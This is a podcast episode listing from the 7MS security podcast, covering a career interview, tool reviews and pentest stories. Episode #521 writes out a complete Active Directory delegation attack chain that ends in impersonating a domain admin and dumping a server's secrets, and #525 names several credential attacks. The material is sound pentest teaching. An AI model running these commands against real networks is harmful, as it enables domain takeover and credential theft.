7MS #342: Interview with Matt McCullough

7MS #342: Interview with Matt McCullough

Matt McCullough (a.k.a. Matty McFly on Slack) joined me in the studio to talk about his wild and crazy path to security. He started literally with no technical experience, but through a lot of hard work, aggressive networking and taking advantage of educational and career opportunities, Matt now rocks a SOC job. Matt and I sat down to talk about a lot of good stuff:

  • How to start an IT career as "the family IT guy"

  • Leveraging a higher education (at places like Lake Superior College to meet people of influence and start networking like a beast

  • Entry level sysadmin and helpdesk jobs are fun - great opportunities to make the most of the position, build your skills and stretch yourself outside your comfort zone

  • MSPs (Managed Service Providers) are another great way to see different clients/verticals/systems and the various requirements that go into supporting them. From there, look for opportunities to start securing those organizations, as many MSPs don't dabble heavily into the security realm.

  • If you're going to school for cybersecurity training, look for ways to leverage your status to get discounts on security training, such as with SANS

  • Competitions like CCDC are awesome. You're given a handful of servers that are full of vulnerabilities, and you essentially are tasked with defending a network against a professional group of pentesters/redteamers. You even have to deal with real-life "injections" (other random emergencies and mock customers to deal with) while you're in the thick of the battle!

  • Join local cyber clubs (or start your own)! Looking for a fun CTF to get started in a group setting? Try hacking the OWASP Juice Shop

  • Attend security conferences(or start your own)!

...more notes at 7MS.us!

Episoder(687)

7MS #527: First Impressions of Purple Knight

7MS #527: First Impressions of Purple Knight

In today's episode we talk about Purple Knight, a free tool to help assess your organization's Active Directory security. I stuck Purple Knight in our Light Pentest LITE pentest training lab and did an informal compare-and-contrast of its detection capabilities versus PingCastle, which we talked about in depth in episode #489.

1 Jul 202252min

7MS #526: Tales of Pentest Pwnage - Part 37

7MS #526: Tales of Pentest Pwnage - Part 37

Today's another fun tale of pentest pwnage - specifically focused on cracking a hash type I'd never paid much attention to before: cached domain credentials. I also learned that you can at least partially protect against this type of hash being captured by checking out this article, which has you set the following setting in GPO: Under Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options set Interactive logon: Number of previous logons to cache to 0. Be careful, as you will have login problems if a domain controller is not immediately accessible! In regards to defending against secretsdump, this article I found this article to be super interesting.

24 Jun 202234min

7MS #525: First Impressions of InsightIDR - Part 2

7MS #525: First Impressions of InsightIDR - Part 2

Today we're sharing an updates to episode #512 where we ran Rapid7's InsightIDR through a bunch of attacks: Active Directory enumeration via SharpHound Password spraying through Rubeus Kerberoasting and ASREPRoasting via Rubeus Network protocol poisoning with Inveigh. Looking for a free way to detect protocol poisoning? Check out CanaryPi. Hash dumping using Impacket. I also talk about an interesting Twitter thread that discusses the detection of hash dumping. Pass-the-hash attacks with CrackMapExec In today's episode I share some emails and conversations we had with Rapid7 about these tests and their results. I'm also thrilled to share with you the articles themselves: Getting Started with Rapid7 InsightIDR: A SIEM Tutorial Testing & Evaluating SIEM Systems: A Review of Rapid7 InsightIDR

17 Jun 202233min

7MS #524: How to Update VMWare ESXi From the Command Line

7MS #524: How to Update VMWare ESXi From the Command Line

I'm extra psyched today, because today's episode (which is all about updating your VMWare ESXi version via command line) is complemented by video: https://www.youtube.com/watch?v=0-XAO32LEPY Shortly after recording this video, I found this awesome article which walks you through a different way to tackle these updates: List all upgrade profiles: esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml Grep for just the ones you want (in my case ESXi 7.x): esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep -i ESXi-7.0 Apply the one you want! esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep -i ESXi-7.0

10 Jun 202233min

7MS #523: Local Administrator Password Solution - RELOADED!

7MS #523: Local Administrator Password Solution - RELOADED!

Well friends, it has been a while since we talked about Microsoft's awesome Local Administrator Password Solution - specifically, the last time was way back in 2017! Lately I've been training some companies on how to install it by giving them a live walkthrough in our Light Pentest LITE lab, so I thought it would be a good time to write up a refreshed, down and dirty install guide. Here we go! (See the show notes for today's episode for more details!)

3 Jun 202238min

7MS #522: Pwning Wifi PSKs and PMKIDs with Bettercap - Part 2

7MS #522: Pwning Wifi PSKs and PMKIDs with Bettercap - Part 2

Hey friends, a while back in episode #505 we talked about pwning wifi PSKs and PMKIDs with Bettercap. Today I'm revisiting that with even some more fun command line kung fu to help you zero in on just the networks you're interested in and filter out a bunch of noisy events from bettercap in the process.

27 Mai 202235min

7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD: # From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources. Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

20 Mai 202257min

7MS #520: How to Succeed in Business Without Really Crying - Part 11

7MS #520: How to Succeed in Business Without Really Crying - Part 11

Hey friends, today we're giving another peek behind the curtain of what it's like to run a cybersecurity consultancy. Topics include: Setting the right communication cadence - and communication channels - with a customer during a pentest. Tips for collaborating well with contractors so that the customer experience feels like "a single human pane of glass" (insert barf emoji here). How we're using Intercom to publish self-help/FAQ articles for 7MS.

13 Mai 202248min

Populært innen Politikk og nyheter

giver-og-gjengen-vg
aftenpodden
aftenpodden-usa
forklart
stopp-verden
popradet
det-store-bildet
nokon-ma-ga
fotballpodden-2
dine-penger-pengeradet
bt-dokumentar-2
hva-star-du-for
aftenbla-bla
unitedno
e24-podden
rss-ness
rss-penger-polser-og-politikk
rss-borsmorgen-okonominyhetene
rss-dannet-uten-piano
oppdatert